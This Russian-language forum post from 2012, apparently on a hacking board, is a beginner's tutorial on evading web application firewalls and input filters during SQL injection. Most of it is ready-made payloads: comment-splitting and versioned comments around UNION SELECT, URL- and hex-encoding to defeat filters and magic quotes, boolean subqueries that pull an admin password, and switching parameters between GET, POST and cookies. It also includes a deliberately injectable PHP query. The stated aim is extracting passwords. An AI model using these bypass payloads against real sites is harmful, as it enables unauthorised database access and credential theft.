Авторские статьи Обход WAF

Discussion in 'Статьи' started by Pirotexnik, 22 Jun 2012.

  1. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    375
    Likes Received:
    73
    Reputations:
    38
    [INTRO]​
    Доброго времени суток. Эта статья будет посвящена обходу разнообразных фильтров и WAF'ов во время проведения SQLi.
    Если вы читаете эту статью - что это вы уже знаете.
    В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.
    Ну что, погнали?

    [ВХОЖДЕНИЯ]​
    Все, или почти все, вафы реализуются с помощью вхождений.
    Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.
    Переменная сканируется на наличее следующих вхождений:
    Что такое вхождение?
    Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:
    PHP:
    <?php 
    $str 
    "My_string_123"
    $reg '/ing/'
    preg_match($reg$str$rezPREG_OFFSET_CAPTURE3); 
    print_r($rez); 
    ?>
    Первое вхождение после 6-го символа. Возвращается либо 0(false) либо 1(true)
    Регистро-независимая функция.
    Простой пример фильтра на PHP:
    PHP:
    <?php
    $id
    =$_REQUEST['id'];
    if(
    preg_match('/(union select)/i'$id)) //проверяем, есть ли внутри переменной конструкция UNION SELECT.
    {
        echo(
    "HACKER DETECTED!");
        die();
    }
    else
    {
        
    mysql("SELECT * from `users` WHERE user_id='$id'");
    }
    ...
    ?>
    Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:
    $id=1 union select user() --
    Все, запалились мы :( Но мы поступим по другому.
    $id=1 union/**/select user() --
    Все, вхождений нету, вытаскиваем пароли :)

    [МЕТОДА ОБХОДА]
    В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.

    Обход фильтрации пробелов:
    filtered: id=1+and+1=2+--+
    bypassed: id=(1)and(1)=2
    bypassed: id=1/**/and/**/1=2
    bypassed: id=1/*!and*/1=2
    bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20
    %31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно 1 and 1=2 --
    Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.

    Обход фильтрации комбинаций unoin select:
    filtered: id=1+union+select+user()+--+
    bypassed: id=1/**/union/**/select/**/user()/**/--/**/
    bypassed: id=1/*!union*/select+user()+--+
    Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.
    Хочу пояснить как работаю комментарии:

    /* - открыть многострочный комментарий
    */ - закрыть многострочный комметарий
    ! - выполнить код, который после знака

    Например:
    Более умные фильтрации:
    А что же делать, если во всей строке ищутся вхождений union и select?
    Тоесть не важно в какой последовательносте они стоят, если ОБА слова есть в строке - облом.
    Тогда от одного прийдется избавится ;)

    filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+
    bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'
    Нужно знать таблицу, колонку, и какие-то данные (любые).
    Поэтому я предпочитаюю Error Based:
    К тому же, можно обойтись и без select ;)

    [MAGIC_QUOTES]​
    Очень часто магические кавычки, или addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:

    ?id=1+union+select+pass+from+users+where+name='admin'+--+
    Если MQ=on, то запрос будет примерно таким:
    Обходим хексом:
    ?id=1+union+select+pass+from+users+where+name=0x61646D696E+--+
    Не забывайте добавить , что бы мускул понял, что мы скармливаем ему хекс.

    [АУТРО]​
    Не забывайте, что почти всегда можно найти замену тому или иному элементу:
    OR -- ||
    AND -- &&
    WHERE -- HAVING
    ORDER -- GROUP
    + -- /**/
    и тд.

    [Игры с запросами]​
    Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.
    Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.

    Порядок такой: GPCS
    гет, пост, куки, сессия.
    Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.

    Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.
    Спасибо ;)
     
    #1 Pirotexnik, 22 Jun 2012
    Last edited: 22 Jun 2012